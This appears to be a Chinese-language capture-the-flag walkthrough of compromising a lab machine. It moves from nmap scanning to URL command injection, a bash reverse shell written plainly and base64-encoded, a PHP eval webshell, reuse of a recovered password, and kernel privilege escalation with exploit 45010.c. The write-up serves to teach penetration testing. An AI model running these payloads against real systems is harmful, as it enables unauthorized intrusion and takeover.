信息收集
使用arp-scan 从网络接口配置生成地址,来查看ip
输入命令:
arp-scan -l
nmap扫描端口开放
tcp
输入命令:
nmap -min-rate 10000 -p- 192.168.187.163
可以看到开放2个端口
udp
输入命令:
nmap -sU -min-rate 10000 -p- 192.168.187.163
这里可以看到有一个80端口但是是关闭状态,那我们不用管它
nmap扫描端口信息
输入命令:
nmap -sC -sT -sV -O -p 21,80 192.168.187.163
nmap漏洞脚本扫描
输入命令:
nmap --script=vuln -p 21,80 192.168.187.163
没有扫描到可以利用的点
尝试ftp匿名登录
输入命令:
ftp 192.168.187.163
匿名登录的用户名为anonymous,这里尝试了无密码匿名登录,但是失败了,只能先放弃了
登录web端
可以看到是一个目录结构,有一个site目录结构
当我们点进去这个site时,发现跳转到了一个新的页面
渗透思路
1.查看页面url请求
在刚刚的目录界面,我们可以查询一下那个页面支持的url请求中是否有PUT这个选项,如果支持的话,我们可以直接上传webshell,直
接拿到立足点
输入命令:
curl -v -X OPTIONS http://192.168.187.163 // -v 查看详细信息 -X 指定一个参数,指定OPTIONS可以查看所支持的所有参数
但是我们并没有看到PUT这个选项,那我们可以换一种思路了
2.进入到site里面的新页面,继续收集信息
在这个页面下,点击这个右上角的buscar时可以跳转到了一个新的页面
发现可疑的url
这个页面很神奇,什么也没有显示,查看页面源代码,也什么都没有,可能是做了隐藏机制
但是这个url很特殊,后面跟个= 就很奇怪,加一些参数什么的试试
发现命令注入漏洞
这里尝试了一些参数后,发现当我们输入一些命令时,他可以回显信息,那我们就可以尝试url中来构造payload语句,反弹shell
先在kali中开启监听
这里尝试了直接使用反弹语句显示失败,可能是存在过滤了
bash -i >& /dev/tcp/192.168.187.128/443 0>&1
尝试base64加密解密的方式绕过试试
echo 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4Ny4xMjgvNDQzIDA+JjE='|base64 -d|bash
但是输入以后还是没有任何的结果
上传一句话木马
这里经过一点点尝试以后,发现类似 >< 这种字符是无法显示的,应该是对这些字符做了特殊处理,那我们尝试一下上传一句话木马
构造payload语句,然后上传试试
echo '<?php eval($_POST["cmd"]); ?>' > shell.php
页面还是一片空白,我们可以查看一下我们的shell.php文件是否建立成功
使用ls查看一下,发现已经存在了
蚁剑连接
那我们现在可以使用蚁剑连接了,这里要注意,上传的shell.php的存放位置是在/site这个目录下,不是在刚刚的位置
发现用户信息
在这个位置的文件中,我们找到了一组用户名和密码,看样子很像数据库的登录信息
desafio02:abygurl69
我们暂时先记下来,这边我们蚁剑虽然连接成功,但是只是一个webshell,我们还是需要拿到正常权限的shell才行
制作php文件反弹shell
在蚁剑中制作反弹shell的php文件
这里我们打开文件,将反弹php语句写入然后保存即可(注:这里我用的是自己的,选择有很多,可以自己尝试)
然后我们回到页面中打开这个文件
然后我们就可以在kali中收到反弹shell的连接信息了
切换到交互式shell
输入命令:
python3 -c ‘import pty;pty.spawn(“/bin/bash”)’
切换用户
这边我们到/home下可以查看到只有一个用户名
联想到我们之前找到的用户信息,我们可以试试那个密码是否也是该用户的密码
使用su切换,输入密码后发现成功切换
提权
这边经过一番尝试,sudo提权,suid提权,查看计划任务等方法都失败了,最后是利用内核漏洞的方法成功了
查看内核漏洞
输入命令:
uname -a //查看内核版本
cat /etc/issue.net // 查看操作系统版本
利用漏洞
然后我们可以去kali里面寻找有无对应的漏洞,这里经过一番试错后,在使用这个45010.c文件的时候,成功提权了
我们这里将文件下载到本地上
然后我们开启http临时服务
但是我们使用wget命令下载的时候发现,命令无法执行,那我们可以直接从蚁剑上传
这里直接将文件拖进来就可以了,这里建议放在/tmp这个目录中,放在其他的目录里,我们可能没有权限
编译赋权执行
然后我们在靶机的/tmp编译这个文件,然后赋予可执行权限即可
输入命令:
gcc 45010.c -o exp
chmod 777 exp
然后我们执行这个文件,发现成功提权
拿下flag
然后我们可以在/root拿到我们的flag